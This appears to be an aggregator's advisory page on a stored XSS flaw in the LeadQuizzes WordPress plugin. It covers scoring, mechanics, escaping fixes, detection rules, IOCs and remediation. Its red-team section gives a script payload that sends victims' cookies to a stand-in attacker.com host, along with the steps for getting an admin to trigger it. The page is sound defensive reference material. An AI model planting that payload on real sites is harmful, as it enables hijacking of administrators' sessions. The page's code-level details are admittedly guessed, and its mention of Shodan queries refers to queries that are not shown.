CVE-2025-31738
Executive Summary
CVE-2025-31738 is a Stored Cross-Site Scripting (XSS) vulnerability in the LeadQuizzes WordPress plugin, developed by yazamodeveloper. The vulnerability affects all versions up to and including 1.1.0. An attacker can inject malicious scripts into web pages generated by the plugin, which are then stored and executed in the browsers of other users, including administrators. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the repository are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – the victim must visit a page containing the malicious payload.
- Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
The threat level is Medium due to the requirement for user interaction, but the potential for stored XSS in a WordPress plugin can lead to widespread compromise if exploited.
Deep Dive & Mechanics
The vulnerability lies in the LeadQuizzes plugin's failure to properly sanitize user-supplied input before storing it in the database and later rendering it in web pages. Specifically, the plugin likely stores quiz data, user responses, or other metadata without escaping HTML or JavaScript. When an administrator or other user views the affected page (e.g., quiz results, admin dashboard), the injected script executes in their browser context.
The attack flow:
- An attacker submits a malicious payload (e.g.,
<script>alert('XSS')</script>) through a form field or API endpoint. - The plugin stores the payload in the WordPress database without sanitization.
- When a victim (including an admin) loads a page that displays this data, the payload is rendered and executed.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the plugin's output functions. A typical vulnerable pattern in WordPress plugins is:
// Vulnerable: directly outputting user input without escaping
echo $user_input;
The patched version would use WordPress's escaping functions:
// Patched: escaping output
echo esc_html( $user_input );
Exploitation & Lab Setup
Red Team
- Setup: Install WordPress with the LeadQuizzes plugin version 1.1.0.
- Craft Payload: Create a JavaScript payload that steals cookies or performs admin actions.
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Inject: Submit the payload via a quiz response or plugin settings field.
- Trigger: Wait for an admin to view the affected page (e.g., quiz results page).
- Exfiltrate: The admin's cookies are sent to the attacker's server.
Blue Team
- Monitor: Look for unusual script tags in plugin-related database entries.
- Harden: Implement Content Security Policy (CSP) headers to block inline scripts.
- Audit: Review plugin code for missing
esc_html()orwp_kses()calls. - Isolate: Use a Web Application Firewall (WAF) to block common XSS patterns.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains containing
cookie=ordocument.cookie. - File: Modified plugin files (e.g.,
leadquizzes.php) containing suspicious JavaScript. - Database: Entries in
wp_postmetaor custom tables with<script>tags. - Logs: WordPress debug logs showing unexpected script execution.
Detection Engineering
YARA Rule
rule CVE_2025_31738_Stored_XSS {
meta:
description = "Detects stored XSS payloads in LeadQuizzes plugin data"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-31738"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
$xss3 = /onload\s*=\s*["']?[^"']*["']?/is
condition:
any of them
}
Sigma Rule
title: CVE-2025-31738 Stored XSS in LeadQuizzes Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in HTTP responses from LeadQuizzes plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http.response.body|contains:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in plugin
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-31738 Stored XSS in LeadQuizzes"; flow:to_client,established; content:"<script>"; http_server_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the LeadQuizzes plugin until a patch is available.
- Short-term: Implement a Web Application Firewall (WAF) rule to block
<script>tags in plugin-related POST requests. - Long-term: Apply input validation and output escaping in all plugin fields. Use WordPress functions like
esc_html(),esc_attr(), andwp_kses(). - Monitor: Regularly check for plugin updates from the vendor.
- Audit: Conduct a security review of all WordPress plugins for similar vulnerabilities.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.